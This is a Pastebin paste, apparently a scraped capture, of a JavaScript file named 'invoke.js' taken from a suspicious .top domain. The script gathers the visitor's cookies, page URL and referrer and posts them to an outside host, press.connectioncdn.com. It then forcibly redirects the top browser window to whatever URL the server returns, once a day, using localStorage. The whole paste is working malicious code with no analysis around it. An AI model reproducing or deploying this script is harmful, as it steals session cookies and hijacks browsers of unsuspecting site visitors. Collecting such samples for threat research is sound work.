Advertisement
TrashScrape

invoke.js

Dec 6th, 2019
172
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.60 KB | None | 0 0
  1. http://1c309erm.top/1a3dba482ea644f9e78ad6625b3cbf7f/invoke.js
  2.  
  3. (function(){
  4. function initXMLhttp() {
  5.  
  6. var xmlhttp;
  7. if (window.XMLHttpRequest) {
  8. xmlhttp = new XMLHttpRequest();
  9. } else {
  10.  
  11. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  12. }
  13.  
  14. return xmlhttp;
  15. }
  16.  
  17. function minAjax(config) {
  18.  
  19.  
  20. if (!config.url) {
  21. return;
  22.  
  23. }
  24.  
  25. if (!config.type) {
  26. return;
  27.  
  28. }
  29.  
  30. if (!config.method) {
  31. config.method = true;
  32. }
  33.  
  34.  
  35. if (!config.debugLog) {
  36. config.debugLog = false;
  37. }
  38.  
  39. var sendString = [],
  40. sendData = config.data;
  41. if( typeof sendData === "string" ){
  42. var tmpArr = String.prototype.split.call(sendData,'&');
  43. for(var i = 0, j = tmpArr.length; i < j; i++){
  44. var datum = tmpArr[i].split('=');
  45. sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1]));
  46. }
  47. }else if( typeof sendData === 'object' && !( sendData instanceof String ) ){
  48. for (var k in sendData) {
  49. var datum = sendData[k];
  50. if( Object.prototype.toString.call(datum) == "[object Array]" ){
  51. for(var i = 0, j = datum.length; i < j; i++) {
  52. sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i]));
  53. }
  54. }else{
  55. sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));
  56. }
  57. }
  58. }
  59. sendString = sendString.join('&');
  60.  
  61. if(window.XDomainRequest) {
  62. var xmlhttp = new window.XDomainRequest();
  63. xmlhttp.onload = function () {
  64. if(config.success){
  65. config.success(xmlhttp.responseText);
  66. }
  67. };
  68. xmlhttp.open("POST", config.url);
  69. xmlhttp.send(sendString);
  70. }else{
  71.  
  72. var xmlhttp = initXMLhttp();
  73.  
  74. xmlhttp.onreadystatechange = function() {
  75.  
  76. if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
  77.  
  78. if (config.success) {
  79. config.success(xmlhttp.responseText, xmlhttp.readyState);
  80. }
  81.  
  82. } else {
  83.  
  84. }
  85. }
  86.  
  87. if (config.type == "GET") {
  88. xmlhttp.open("GET", config.url + "?" + sendString, config.method);
  89. xmlhttp.send();
  90.  
  91. }
  92. if (config.type == "POST") {
  93. xmlhttp.open("POST", config.url, config.method);
  94. xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  95. xmlhttp.send(sendString);
  96. }
  97.  
  98.  
  99. }
  100.  
  101. }
  102.  
  103. dL();
  104.  
  105. function dL(){
  106. var host = 'http://press.connectioncdn.com/f';
  107. var config = {
  108. url: host + "/stats.php",
  109. type: "POST",
  110. data: {
  111. vbase: document.baseURI,
  112. vhref: location.href,
  113. vref: document.referrer, k: "MWMzMDllcm0udG9w",ck: document.cookie, t: Math.floor(new Date().getTime() / 1000), tg: ""
  114. },
  115. success: onSuccessCallback
  116. };
  117.  
  118. function bl(resp){
  119. !function(dr){function t(){return!!localStorage&&localStorage.getItem(a)}function e(){o(),
  120. parent.top.window.location.href=c}function o(){var t=r+i;if(localStorage){localStorage.setItem(a,t)}}
  121. function n(){if(t()){var o=localStorage&&localStorage.getItem(a);r>o&&e()}else e()}var a="MenuIdentifier",
  122. r=Math.floor((new Date).getTime()/1e3),c=dr,i=86400;n()}(resp);
  123. }
  124.  
  125. function onSuccessCallback(response){
  126. if(response && response.indexOf('http') > -1){
  127. bl(response);
  128. }
  129. }
  130.  
  131.  
  132. minAjax(config);
  133.  
  134. }
  135. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement